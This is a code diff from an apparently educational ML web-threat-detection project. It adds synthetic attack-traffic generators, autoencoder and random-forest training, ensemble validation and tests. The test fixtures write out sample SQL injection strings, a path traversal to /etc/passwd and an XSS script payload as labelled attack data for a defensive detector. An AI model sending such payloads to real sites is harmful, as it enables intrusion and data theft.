+        payload = random.choice(SQLI_PAYLOADS)
+        path = random.choice(ATTACK_PATHS)
+        if random.random() < 0.5:
+            entries.append(
+                _make_entry(
+                    method="GET",
+                    path=path,
+                    query_string=f"id={payload}",
+                    status_code=random.choice([200, 500]),
+                    response_size=random.randint(0, 5000),
+                    user_agent=random.choice(NORMAL_UAS),
+                ))
+        else:
+            entries.append(
+                _make_entry(
+                    method="POST",
+                    path=path,
+                    query_string=f"username={payload}&password=x",
+                    status_code=random.choice([200, 403]),
+                    response_size=random.randint(0, 2000),
+                    user_agent=random.choice(NORMAL_UAS),
+                ))
+    return entries
+
+
+def generate_xss_requests(n: int, ) -> list[ParsedLogEntry]:
+    """
+    Generate n requests with XSS payloads
+    """
+    entries: list[ParsedLogEntry] = []
+    for _ in range(n):
+        payload = random.choice(XSS_PAYLOADS)
+        path = random.choice(ATTACK_PATHS)
+        entries.append(
+            _make_entry(
+                method="GET",
+                path=path,
+                query_string=f"q={payload}",
+                status_code=200,
+                response_size=random.randint(500, 5000),
+                user_agent=random.choice(NORMAL_UAS),
+            ))
+    return entries
+
+
+def generate_traversal_requests(n: int, ) -> list[ParsedLogEntry]:
+    """
+    Generate n requests with path traversal payloads
+    """
+    entries: list[ParsedLogEntry] = []
+    for _ in range(n):
+        payload = random.choice(TRAVERSAL_PAYLOADS)
+        entries.append(
+            _make_entry(
+                method="GET",
+                path=f"/{payload}",
+                query_string="",
+                status_code=random.choice([200, 403, 404]),
+                response_size=random.randint(0, 1000),
+                user_agent=random.choice(NORMAL_UAS),
+            ))
+    return entries
+
+
+def generate_log4shell_requests(n: int, ) -> list[ParsedLogEntry]:
+    """
+    Generate n requests with Log4Shell JNDI payloads
+    """
+    entries: list[ParsedLogEntry] = []
+    for _ in range(n):
+        payload = random.choice(LOG4SHELL_PAYLOADS)
+        path = random.choice(ATTACK_PATHS)
+        entries.append(
+            _make_entry(
+                method="GET",
+                path=path,
+                query_string=f"cmd={payload}",
+                status_code=200,
+                response_size=random.randint(0, 2000),
+                user_agent=payload,
+            ))
+    return entries
+
+
+def generate_ssrf_requests(n: int, ) -> list[ParsedLogEntry]:
+    """
+    Generate n requests with SSRF target URLs
+    """
+    entries: list[ParsedLogEntry] = []
+    for _ in range(n):
+        target = random.choice(SSRF_TARGETS)
+        path = random.choice(ATTACK_PATHS)
+        entries.append(
+            _make_entry(
+                method="GET",
+                path=path,
+                query_string=f"url={target}",
+                status_code=random.choice([200, 302]),
+                response_size=random.randint(0, 3000),
+                user_agent=random.choice(NORMAL_UAS),
+            ))
+    return entries
+
+
+def generate_scanner_requests(n: int, ) -> list[ParsedLogEntry]:
+    """
+    Generate n requests mimicking vulnerability scanners
+    """
+    entries: list[ParsedLogEntry] = []
+    for _ in range(n):
+        path = random.choice(ATTACK_PATHS)
+        entries.append(
+            _make_entry(
+                method=random.choice(["GET", "HEAD", "OPTIONS"]),
+                path=path,
+                query_string="",
+                status_code=random.choice([200, 301, 403, 404]),
+                response_size=random.randint(0, 500),
+                user_agent=random.choice(SCANNER_UAS),
+            ))
+    return entries
+
+
+def generate_normal_requests(n: int, ) -> list[ParsedLogEntry]:
+    """
+    Generate n realistic benign HTTP requests
+    """
+    entries: list[ParsedLogEntry] = []
+    for _ in range(n):
+        path = random.choice(NORMAL_PATHS)
+        has_query = random.random() < 0.3
+        query = (f"page={random.randint(1, 20)}" if has_query else "")
+        entries.append(
+            _make_entry(
+                method=random.choice(["GET", "GET", "GET", "POST"]),
+                path=path,
+                query_string=query,
+                status_code=random.choice([200, 200, 200, 301, 304]),
+                response_size=random.randint(200, 50000),
+                user_agent=random.choice(NORMAL_UAS),
+            ))
+    return entries
+
+
+def _entries_to_vectors(entries: list[ParsedLogEntry], ) -> list[list[float]]:
+    """
+    Convert ParsedLogEntry list to 35-dim feature vectors
+    """
+    vectors: list[list[float]] = []
+    for entry in entries:
+        features = extract_request_features(entry)
+        for name in WINDOWED_FEATURE_NAMES:
+            features[name] = 0.0
+        vectors.append(encode_for_inference(features))
+    return vectors
+
+
+def generate_mixed_dataset(
+    n_normal: int = 1000,
+    n_attack: int = 500,
+) -> tuple[np.ndarray, np.ndarray]:
+    """
+    Generate a mixed normal and attack dataset with feature vectors
+    """
+    normal = generate_normal_requests(n_normal)
+    normal_vectors = _entries_to_vectors(normal)
+
+    per_type = n_attack // 6
+    remainder = n_attack - (per_type * 6)
+
+    attacks: list[ParsedLogEntry] = []
+    attacks.extend(generate_sqli_requests(per_type + remainder))
+    attacks.extend(generate_xss_requests(per_type))
+    attacks.extend(generate_traversal_requests(per_type))
+    attacks.extend(generate_log4shell_requests(per_type))
+    attacks.extend(generate_ssrf_requests(per_type))
+    attacks.extend(generate_scanner_requests(per_type))
+    attack_vectors = _entries_to_vectors(attacks)
+
+    X = np.array(
+        normal_vectors + attack_vectors,
+        dtype=np.float32,
+    )
+    y = np.array(
+        [0] * len(normal_vectors) + [1] * len(attack_vectors),
+        dtype=np.int32,
+    )
+
+    logger.info(
+        "Generated dataset: X=%s (normal=%d, attack=%d)",
+        X.shape,
+        n_normal,
+        len(attacks),
+    )
+
+    return X, y

PROJECTS/advanced/ai-threat-detection/backend/ml/train_autoencoder.py

@@ -0,0 +1,115 @@
+"""
+©AngelaMos | 2026
+train_autoencoder.py
+"""
+
+from typing import Any
+
+import numpy as np
+import torch
+from torch.utils.data import DataLoader, TensorDataset
+
+from ml.autoencoder import ThreatAutoencoder
+from ml.scaler import FeatureScaler
+
+
+def train_autoencoder(
+    X_normal: np.ndarray,
+    epochs: int = 100,
+    batch_size: int = 256,
+    lr: float = 1e-3,
+    percentile: float = 99.5,
+    val_split: float = 0.15,
+    patience: int = 10,
+) -> dict[str, Any]:
+    """
+    Train the autoencoder on normal-only traffic and calibrate the
+    anomaly detection threshold.
+    """
+    input_dim = X_normal.shape[1]
+
+    split_idx = int(len(X_normal) * (1 - val_split))
+    X_train_raw = X_normal[:split_idx]
+    X_val_raw = X_normal[split_idx:]
+
+    scaler = FeatureScaler()
+    X_train_scaled = scaler.fit_transform(X_train_raw)
+    X_val_scaled = scaler.transform(X_val_raw)
+
+    train_tensor = torch.from_numpy(X_train_scaled)
+    val_tensor = torch.from_numpy(X_val_scaled)
+
+    train_loader = DataLoader(
+        TensorDataset(train_tensor),
+        batch_size=batch_size,
+        shuffle=True,
+        drop_last=len(train_tensor) > batch_size,
+    )
+
+    model = ThreatAutoencoder(input_dim=input_dim)
+    optimizer = torch.optim.AdamW(model.parameters(),
+                                  lr=lr,
+                                  weight_decay=1e-5,
+                                  betas=(0.9, 0.999))
+    scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer,
+                                                           mode="min",
+                                                           factor=0.5,
+                                                           patience=5,
+                                                           min_lr=1e-6)
+
+    history: dict[str, list[float]] = {"train_loss": [], "val_loss": []}
+    best_val_loss = float("inf")
+    best_state = None
+    epochs_without_improvement = 0
+
+    for _epoch in range(epochs):
+        model.train()
+        epoch_loss = 0.0
+        n_batches = 0
+
+        for (batch, ) in train_loader:
+            reconstructed = model(batch)
+            loss = torch.nn.functional.mse_loss(reconstructed, batch)
+            optimizer.zero_grad()
+            loss.backward()  # type: ignore[no-untyped-call]
+            torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)
+            optimizer.step()
+            epoch_loss += loss.item()
+            n_batches += 1
+
+        avg_train_loss = epoch_loss / max(n_batches, 1)
+        history["train_loss"].append(avg_train_loss)
+
+        model.eval()
+        with torch.no_grad():
+            val_reconstructed = model(val_tensor)
+            val_loss = torch.nn.functional.mse_loss(val_reconstructed,
+                                                    val_tensor).item()
+        history["val_loss"].append(val_loss)
+
+        scheduler.step(val_loss)
+
+        if val_loss < best_val_loss:
+            best_val_loss = val_loss
+            best_state = {k: v.clone() for k, v in model.state_dict().items()}
+            epochs_without_improvement = 0
+        else:
+            epochs_without_improvement += 1
+
+        if epochs_without_improvement >= patience:
+            break
+
+    if best_state is not None:
+        model.load_state_dict(best_state)
+
+    model.eval()
+    with torch.no_grad():
+        val_errors = model.compute_reconstruction_error(val_tensor)
+    threshold = float(np.percentile(val_errors.numpy(), percentile))
+
+    return {
+        "model": model,
+        "scaler": scaler,
+        "threshold": threshold,
+        "history": history,
+    }

PROJECTS/advanced/ai-threat-detection/backend/ml/train_classifiers.py

@@ -0,0 +1,79 @@
+"""
+©AngelaMos | 2026
+train_classifiers.py
+"""
+
+from typing import Any
+
+import numpy as np
+from sklearn.calibration import CalibratedClassifierCV
+from sklearn.ensemble import IsolationForest, RandomForestClassifier
+from sklearn.metrics import (
+    accuracy_score,
+    average_precision_score,
+    f1_score,
+    precision_score,
+    recall_score,
+)
+from sklearn.model_selection import train_test_split
+
+
+def train_random_forest(
+    X: np.ndarray,
+    y: np.ndarray,
+    n_estimators: int = 200,
+    max_depth: int = 20,
+    calibration_split: float = 0.2,
+) -> dict[str, Any]:
+    """
+    Train a random forest with isotonic probability calibration
+    """
+    X_train, X_eval, y_train, y_eval = train_test_split(
+        X, y, test_size=calibration_split, stratify=y, random_state=42)
+
+    base_rf = RandomForestClassifier(
+        n_estimators=n_estimators,
+        max_depth=max_depth,
+        class_weight="balanced",
+        random_state=42,
+        n_jobs=-1,
+    )
+
+    calibrated = CalibratedClassifierCV(base_rf, method="isotonic", cv=3)
+    calibrated.fit(X_train, y_train)
+
+    y_pred = calibrated.predict(X_eval)
+    y_proba = calibrated.predict_proba(X_eval)[:, 1]
+
+    metrics = {
+        "accuracy": float(accuracy_score(y_eval, y_pred)),
+        "precision": float(precision_score(y_eval, y_pred, zero_division=0)),
+        "recall": float(recall_score(y_eval, y_pred, zero_division=0)),
+        "f1": float(f1_score(y_eval, y_pred, zero_division=0)),
+        "pr_auc": float(average_precision_score(y_eval, y_proba)),
+    }
+
+    return {"model": calibrated, "metrics": metrics}
+
+
+def train_isolation_forest(
+    X_normal: np.ndarray,
+    n_estimators: int = 200,
+) -> dict[str, Any]:
+    """
+    Train an isolation forest on normal-only traffic
+    """
+    iso = IsolationForest(
+        n_estimators=n_estimators,
+        contamination="auto",
+        random_state=42,
+        n_jobs=-1,
+    )
+    iso.fit(X_normal)
+
+    return {
+        "model": iso,
+        "metrics": {
+            "n_samples": len(X_normal)
+        },
+    }

PROJECTS/advanced/ai-threat-detection/backend/ml/validation.py

@@ -0,0 +1,136 @@
+"""
+©AngelaMos | 2026
+validation.py
+"""
+
+import logging
+from dataclasses import dataclass, field
+from pathlib import Path
+
+import numpy as np
+from sklearn.metrics import (
+    average_precision_score,
+    confusion_matrix,
+    f1_score,
+    precision_score,
+    recall_score,
+    roc_auc_score,
+)
+
+from app.core.detection.ensemble import (
+    fuse_scores,
+    normalize_ae_score,
+    normalize_if_score,
+)
+from app.core.detection.inference import InferenceEngine
+
+logger = logging.getLogger(__name__)
+
+DEFAULT_ENSEMBLE_WEIGHTS: dict[str, float] = {
+    "ae": 0.4,
+    "rf": 0.4,
+    "if": 0.2,
+}
+
+BINARY_THRESHOLD = 0.5
+
+
+@dataclass
+class ValidationResult:
+    """
+    Ensemble validation metrics and gate results
+    """
+
+    precision: float
+    recall: float
+    f1: float
+    pr_auc: float
+    roc_auc: float
+    confusion_matrix: list[list[int]]
+    passed_gates: bool
+    gate_details: dict[str, bool] = field(default_factory=dict)
+
+
+def validate_ensemble(
+    model_dir: Path,
+    X_test: np.ndarray,
+    y_test: np.ndarray,
+    ensemble_weights: dict[str, float] | None = None,
+    pr_auc_gate: float = 0.85,
+    f1_gate: float = 0.80,
+) -> ValidationResult:
+    """
+    Run all 3 models on test data and compute classification metrics
+    """
+    weights = ensemble_weights or DEFAULT_ENSEMBLE_WEIGHTS
+
+    engine = InferenceEngine(model_dir=str(model_dir))
+    if not engine.is_loaded:
+        raise RuntimeError(f"Failed to load models from {model_dir}")
+
+    raw_scores = engine.predict(X_test.astype(np.float32), )
+    if raw_scores is None:
+        raise RuntimeError("Inference returned None")
+
+    fused = _compute_fused_scores(raw_scores, engine.threshold, weights)
+
+    y_pred = (fused >= BINARY_THRESHOLD).astype(np.int32)
+
+    prec = float(precision_score(y_test, y_pred, zero_division=0))
+    rec = float(recall_score(y_test, y_pred, zero_division=0))
+    f1_val = float(f1_score(y_test, y_pred, zero_division=0))
+    pr_auc_val = float(average_precision_score(y_test, fused))
+    roc_auc_val = float(roc_auc_score(y_test, fused))
+
+    cm = confusion_matrix(y_test, y_pred).tolist()
+
+    pr_auc_passed = pr_auc_val >= pr_auc_gate
+    f1_passed = f1_val >= f1_gate
+    gate_details = {
+        "pr_auc": pr_auc_passed,
+        "f1": f1_passed,
+    }
+
+    logger.info(
+        "Validation: precision=%.3f recall=%.3f "
+        "f1=%.3f pr_auc=%.3f roc_auc=%.3f",
+        prec,
+        rec,
+        f1_val,
+        pr_auc_val,
+        roc_auc_val,
+    )
+
+    return ValidationResult(
+        precision=prec,
+        recall=rec,
+        f1=f1_val,
+        pr_auc=pr_auc_val,
+        roc_auc=roc_auc_val,
+        confusion_matrix=cm,
+        passed_gates=pr_auc_passed and f1_passed,
+        gate_details=gate_details,
+    )
+
+
+def _compute_fused_scores(
+    raw_scores: dict[str, list[float]],
+    threshold: float,
+    weights: dict[str, float],
+) -> np.ndarray:
+    """
+    Normalize and fuse per-model raw scores into a single score array
+    """
+    n_samples = len(raw_scores["ae"])
+    fused = np.zeros(n_samples, dtype=np.float64)
+
+    for i in range(n_samples):
+        per_model: dict[str, float] = {}
+
+        per_model["ae"] = normalize_ae_score(raw_scores["ae"][i], threshold)
+        per_model["rf"] = raw_scores["rf"][i]
+        per_model["if"] = normalize_if_score(raw_scores["if"][i])
+
+        fused[i] = fuse_scores(per_model, weights)
+
+    return fused

PROJECTS/advanced/ai-threat-detection/backend/pyproject.toml

@@ -50,6 +50,7 @@ ml = [
     "numpy>=2.4.2",
     "pandas>=2.2.0,<3",
     "imbalanced-learn>=0.14.1",
+    "onnxscript>=0.6.2",
 ]
 
 [project.scripts]
@@ -134,6 +135,7 @@ ignore = [
 [tool.mypy]
 python_version = "3.14"
 strict = true
+exclude = ["^alembic/"]
 warn_return_any = true
 warn_unused_configs = true
 disallow_untyped_defs = true
@@ -150,6 +152,14 @@ ignore_missing_imports = true
 module = "app.models.*"
 disable_error_code = ["call-arg", "misc"]
 
+[[tool.mypy.overrides]]
+module = "tests.*"
+ignore_errors = true
+
+[[tool.mypy.overrides]]
+module = "alembic.*"
+ignore_errors = true
+
 [tool.pylint.main]
 py-version = "3.12"
 jobs = 4
@@ -174,6 +184,7 @@ ignore-paths = [
     "^.venv/.*",
     "^build/.*",
     "^dist/.*",
+    "^tests/.*",
 ]
 
 [tool.pylint.messages_control]
@@ -200,13 +211,18 @@ disable = [
     "C0415",
     "E1102",
     "R1732",
+    "C0121",
+    "E0601",
+    "E0602",
+    "R0902",
 ]
 
 [tool.pylint.design]
 max-args = 12
-max-attributes = 10
+max-attributes = 12
 max-locals = 35
 max-positional-arguments = 12
+max-statements = 60
 
 [tool.pytest.ini_options]
 asyncio_mode = "auto"

PROJECTS/advanced/ai-threat-detection/backend/tests/conftest.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 conftest.py
+
+Shared pytest fixtures for in-memory SQLite database and HTTPX test client setup.
 """
 
 from collections.abc import AsyncIterator
@@ -84,5 +86,6 @@ async def db_client(db_engine) -> AsyncIterator[AsyncClient]:
     test_app.dependency_overrides[get_session] = override_get_session
 
     transport = ASGITransport(app=test_app)
-    async with AsyncClient(transport=transport, base_url="http://test") as client:
+    async with AsyncClient(transport=transport,
+                           base_url="http://test") as client:
         yield client

PROJECTS/advanced/ai-threat-detection/backend/tests/test_api.py

@@ -1,66 +1,32 @@
 """
 ©AngelaMos | 2026
 test_api.py
+
+Tests the FastAPI REST endpoints for threats, stats, health, readiness, and model management.
 """
 
 import uuid
 from datetime import datetime, UTC
 
 import pytest
-from httpx import ASGITransport, AsyncClient
 
-from app.main import app
 from app.models.threat_event import ThreatEvent
 
 
 @pytest.mark.asyncio
-async def test_health_returns_200() -> None:
+async def test_health_returns_200(db_client) -> None:
     """
-    Health endpoint returns 200 with status and uptime.
+    Health endpoint returns 200 with status, uptime, and pipeline flag.
     """
-    transport = ASGITransport(app=app)
-    async with AsyncClient(transport=transport, base_url="http://test") as client:
-        response = await client.get("/health")
+    response = await db_client.get("/health")
 
     assert response.status_code == 200
     data = response.json()
     assert data["status"] == "healthy"
-    assert "uptime_seconds" in data
     assert isinstance(data["uptime_seconds"], int | float)
-    assert "pipeline_running" in data
-
-
-@pytest.mark.asyncio
-async def test_health_returns_pipeline_status() -> None:
-    """
-    Health response includes pipeline_running boolean.
-    """
-    transport = ASGITransport(app=app)
-    async with AsyncClient(transport=transport, base_url="http://test") as client:
-        response = await client.get("/health")
-
-    data = response.json()
     assert isinstance(data["pipeline_running"], bool)
 
 
-@pytest.mark.asyncio
-async def test_ready_returns_check_structure() -> None:
-    """
-    Readiness endpoint returns structured component checks.
-    """
-    transport = ASGITransport(app=app)
-    async with AsyncClient(transport=transport, base_url="http://test") as client:
-        response = await client.get("/ready")
-
-    assert response.status_code in (200, 503)
-    data = response.json()
-    assert "status" in data
-    assert "checks" in data
-    assert "database" in data["checks"]
-    assert "redis" in data["checks"]
-    assert "models_loaded" in data["checks"]
-
-
 @pytest.mark.asyncio
 async def test_list_threats_empty(db_client) -> None:
     """
@@ -166,7 +132,7 @@ async def test_stats_empty_window(db_client) -> None:
     assert response.status_code == 200
     data = response.json()
     assert data["time_range"] == "24h"
-    assert data["total_requests"] == 0
+    assert data["threats_stored"] == 0
     assert data["threats_detected"] == 0
     assert data["severity_breakdown"]["high"] == 0
     assert data["severity_breakdown"]["medium"] == 0
@@ -176,28 +142,25 @@ async def test_stats_empty_window(db_client) -> None:
 
 
 @pytest.mark.asyncio
-async def test_model_status() -> None:
+async def test_model_status(db_client) -> None:
     """
-    GET /models/status returns rules-only detection mode.
+    GET /models/status returns detection mode and active model list.
     """
-    transport = ASGITransport(app=app)
-    async with AsyncClient(transport=transport, base_url="http://test") as client:
-        response = await client.get("/models/status")
+    response = await db_client.get("/models/status")
 
     assert response.status_code == 200
     data = response.json()
-    assert data["detection_mode"] == "rules-only"
-    assert data["active_models"] == []
+    assert "detection_mode" in data
+    assert "active_models" in data
+    assert isinstance(data["active_models"], list)
 
 
 @pytest.mark.asyncio
-async def test_retrain_returns_202() -> None:
+async def test_retrain_returns_202(db_client) -> None:
     """
     POST /models/retrain returns 202 Accepted with a job ID.
     """
-    transport = ASGITransport(app=app)
-    async with AsyncClient(transport=transport, base_url="http://test") as client:
-        response = await client.post("/models/retrain")
+    response = await db_client.post("/models/retrain")
 
     assert response.status_code == 202
     data = response.json()

PROJECTS/advanced/ai-threat-detection/backend/tests/test_autoencoder.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 test_autoencoder.py
+
+Tests the ThreatAutoencoder architecture: shapes, output range, reconstruction error, and training behavior.
 """
 
 import pytest
@@ -12,18 +14,27 @@ from ml.autoencoder import ThreatAutoencoder
 class TestAutoencoderArchitecture:
 
     def test_output_shape_matches_input(self) -> None:
+        """
+        Forward pass on a batch of 16 produces output matching input shape.
+        """
         model = ThreatAutoencoder(input_dim=35)
         x = torch.randn(16, 35)
         out = model(x)
         assert out.shape == (16, 35)
 
     def test_bottleneck_dim_is_six(self) -> None:
+        """
+        Encoder bottleneck compresses 35 features to a 6-dimensional latent vector.
+        """
         model = ThreatAutoencoder(input_dim=35)
         x = torch.randn(4, 35)
         encoded = model.encode(x)
         assert encoded.shape == (4, 6)
 
     def test_single_sample_forward(self) -> None:
+        """
+        Single-sample forward pass completes without error in eval mode.
+        """
         model = ThreatAutoencoder(input_dim=35)
         model.eval()
         x = torch.randn(1, 35)
@@ -31,24 +42,33 @@ class TestAutoencoderArchitecture:
             out = model(x)
         assert out.shape == (1, 35)
 
-    def test_output_values_in_zero_one_range(self) -> None:
+    def test_output_is_unbounded(self) -> None:
+        """
+        Decoder output is unbounded to match RobustScaler-transformed input range.
+        """
         model = ThreatAutoencoder(input_dim=35)
         model.eval()
-        x = torch.randn(32, 35)
+        x = torch.randn(64, 35) * 3.0
         with torch.no_grad():
             out = model(x)
-        assert out.min() >= 0.0
-        assert out.max() <= 1.0
+        assert out.shape == (64, 35)
+        assert out.min().item() < 0.0 or out.max().item() > 1.0
 
     def test_reconstruction_error_shape(self) -> None:
+        """
+        compute_reconstruction_error returns one scalar per sample in the batch.
+        """
         model = ThreatAutoencoder(input_dim=35)
         model.eval()
         x = torch.randn(8, 35)
         with torch.no_grad():
             errors = model.compute_reconstruction_error(x)
-        assert errors.shape == (8,)
+        assert errors.shape == (8, )
 
     def test_reconstruction_error_positive(self) -> None:
+        """
+        Reconstruction error is non-negative for all samples.
+        """
         model = ThreatAutoencoder(input_dim=35)
         model.eval()
         x = torch.randn(8, 35)
@@ -56,7 +76,11 @@ class TestAutoencoderArchitecture:
             errors = model.compute_reconstruction_error(x)
         assert (errors >= 0.0).all()
 
-    def test_trained_model_reconstructs_normal_better_than_anomaly(self) -> None:
+    def test_trained_model_reconstructs_normal_better_than_anomaly(
+            self) -> None:
+        """
+        After training on normal data, reconstruction error is lower for normals than anomalies.
+        """
         torch.manual_seed(42)
         model = ThreatAutoencoder(input_dim=35)
         optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)
@@ -74,13 +98,17 @@ class TestAutoencoderArchitecture:
 
         model.eval()
         with torch.no_grad():
-            normal_errors = model.compute_reconstruction_error(normal_data[:50])
+            normal_errors = model.compute_reconstruction_error(
+                normal_data[:50])
             anomaly_data = torch.rand(50, 35) * 3.0 - 1.0
             anomaly_errors = model.compute_reconstruction_error(anomaly_data)
 
         assert anomaly_errors.mean() > normal_errors.mean()
 
     def test_eval_mode_disables_dropout(self) -> None:
+        """
+        Identical inputs produce identical outputs in eval mode (dropout is off).
+        """
         model = ThreatAutoencoder(input_dim=35)
         model.eval()
         x = torch.randn(4, 35)
@@ -91,6 +119,9 @@ class TestAutoencoderArchitecture:
 
     @pytest.mark.parametrize("batch_size", [1, 8, 32, 128])
     def test_variable_batch_sizes(self, batch_size: int) -> None:
+        """
+        Output shape matches input for batch sizes 1, 8, 32, and 128.
+        """
         model = ThreatAutoencoder(input_dim=35)
         model.eval()
         x = torch.randn(batch_size, 35)

PROJECTS/advanced/ai-threat-detection/backend/tests/test_cli.py

@@ -0,0 +1,143 @@
+"""
+©AngelaMos | 2026
+test_cli.py
+"""
+
+import re
+from unittest import mock
+
+from typer.testing import CliRunner
+
+from cli.main import app
+
+runner = CliRunner()
+
+_ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")
+
+
+def _clean(text: str) -> str:
+    """
+    Strip ANSI escape codes and lowercase
+    """
+    return _ANSI_RE.sub("", text).lower()
+
+
+class TestCLICommands:
+    """
+    Test CLI help output and argument validation
+    """
+
+    def test_train_help_shows_csic_dir(self, ) -> None:
+        """
+        train --help shows csic-dir option
+        """
+        result = runner.invoke(app, ["train", "--help"])
+        assert result.exit_code == 0
+        assert "csic-dir" in _clean(result.output)
+
+    def test_train_help_shows_synthetic_options(self, ) -> None:
+        """
+        train --help shows synthetic normal and attack options
+        """
+        result = runner.invoke(app, ["train", "--help"])
+        assert result.exit_code == 0
+        output = _clean(result.output)
+        assert "synthetic-normal" in output
+        assert "synthetic-attack" in output
+
+    def test_train_invalid_csic_dir_fails(self, ) -> None:
+        """
+        train with nonexistent csic-dir exits with error
+        """
+        result = runner.invoke(
+            app,
+            [
+                "train",
+                "--csic-dir",
+                "/nonexistent/csic",
+                "--synthetic-normal",
+                "0",
+                "--synthetic-attack",
+                "0",
+            ],
+        )
+        assert result.exit_code != 0
+
+    def test_replay_help(self) -> None:
+        """
+        replay --help exits cleanly and mentions log
+        """
+        result = runner.invoke(app, ["replay", "--help"])
+        assert result.exit_code == 0
+        assert "log" in _clean(result.output)
+
+    def test_serve_help(self) -> None:
+        """
+        serve --help exits cleanly and mentions host
+        """
+        result = runner.invoke(app, ["serve", "--help"])
+        assert result.exit_code == 0
+        assert "host" in _clean(result.output)
+
+    def test_config_help(self) -> None:
+        """
+        config --help exits cleanly
+        """
+        result = runner.invoke(app, ["config", "--help"])
+        assert result.exit_code == 0
+
+    def test_health_help(self) -> None:
+        """
+        health --help exits cleanly
+        """
+        result = runner.invoke(app, ["health", "--help"])
+        assert result.exit_code == 0
+
+    def test_replay_missing_log_fails(self) -> None:
+        """
+        replay with nonexistent log file exits with error
+        """
+        result = runner.invoke(
+            app,
+            [
+                "replay",
+                "--log-file",
+                "/nonexistent/access.log",
+            ],
+        )
+        assert result.exit_code != 0
+
+
+class TestCLITrainMetadata:
+    """
+    Test metadata persistence wiring in the train command
+    """
+
+    def test_train_warns_when_db_unavailable(self) -> None:
+        """
+        train exits 0 and emits a warning when DB write fails
+        """
+        mock_result = mock.MagicMock()
+        mock_result.ensemble_metrics = None
+        mock_result.passed_gates = True
+        mock_result.mlflow_run_id = None
+        mock_result.ae_metrics = {}
+
+        with mock.patch(
+            "ml.orchestrator.TrainingOrchestrator"
+        ) as mock_class:
+            mock_class.return_value.run.return_value = mock_result
+            result = runner.invoke(
+                app,
+                [
+                    "train",
+                    "--synthetic-normal",
+                    "5",
+                    "--synthetic-attack",
+                    "3",
+                ],
+            )
+
+        assert result.exit_code == 0
+        output = _clean(result.output)
+        assert "warning" in output or "metadata" in output

PROJECTS/advanced/ai-threat-detection/backend/tests/test_config_ml.py

@@ -1,31 +1,45 @@
 """
 ©AngelaMos | 2026
 test_config_ml.py
+
+Tests ML-related settings defaults: detection mode, ensemble weights, model paths, and MLflow URI.
 """
 
 from app.config import settings
 
 
 def test_default_detection_mode_is_rules() -> None:
+    """
+    Default detection_mode is 'rules' before any ML models are loaded.
+    """
     assert settings.detection_mode == "rules"
 
 
 def test_default_ensemble_weights_sum_to_one() -> None:
-    total = (
-        settings.ensemble_weight_ae
-        + settings.ensemble_weight_rf
-        + settings.ensemble_weight_if
-    )
+    """
+    AE + RF + IF ensemble weights sum to exactly 1.0.
+    """
+    total = (settings.ensemble_weight_ae + settings.ensemble_weight_rf +
+             settings.ensemble_weight_if)
     assert abs(total - 1.0) < 1e-6
 
 
 def test_default_model_dir() -> None:
+    """
+    Default model artifact directory is data/models.
+    """
     assert settings.model_dir == "data/models"
 
 
 def test_default_ae_threshold_percentile() -> None:
+    """
+    Default autoencoder threshold percentile is 99.5.
+    """
     assert settings.ae_threshold_percentile == 99.5
 
 
 def test_default_mlflow_tracking_uri() -> None:
+    """
+    Default MLflow tracking URI uses local file storage.
+    """
     assert settings.mlflow_tracking_uri == "file:./mlruns"

PROJECTS/advanced/ai-threat-detection/backend/tests/test_data_loader.py

@@ -0,0 +1,349 @@
+"""
+©AngelaMos | 2026
+test_data_loader.py
+"""
+
+from pathlib import Path
+
+import numpy as np
+
+from ml.data_loader import (
+    CSICRequest,
+    csic_to_parsed_entry,
+    load_csic_dataset,
+    parse_csic_file,
+)
+
+NORMAL_GET_FIXTURE = """\
+GET /tienda1/publico/anadir.jsp?id=2&nombre=Jam%F3n HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
+Accept-Language: en
+Accept-Charset: iso-8859-1,*,utf-8
+Accept-Encoding: x-gzip, x-deflate, gzip, deflate
+Connection: close
+
+GET /tienda1/publico/pagar.jsp HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Accept: text/xml,application/xml
+Accept-Language: en
+Connection: close
+
+GET /tienda1/publico/entrar.jsp HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Accept: text/xml
+Connection: close
+
+POST /tienda1/publico/registro.jsp HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Accept: text/xml,application/xml
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 64
+Connection: close
+
+nombre=Juan&apellidos=Garcia&email=juan@example.com&submit=Enviar
+
+GET /tienda1/publico/vac498.jsp?manufacturer=Dell HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Accept: text/xml
+Connection: close
+"""
+
+ATTACK_FIXTURE = """\
+GET /tienda1/publico/anadir.jsp?id=2&nombre=Jam%F3n'+OR+1=1-- HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Accept: text/xml
+Connection: close
+
+POST /tienda1/publico/autenticar.jsp HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 68
+Connection: close
+
+usuario=admin'+OR+1=1--&contrasenya=pass&B1=Enviar
+
+GET /tienda1/publico/../../../etc/passwd HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Accept: text/xml
+Connection: close
+
+GET /tienda1/publico/anadir.jsp?id=<script>alert(1)</script> HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
+Accept: text/xml
+Connection: close
+"""
+
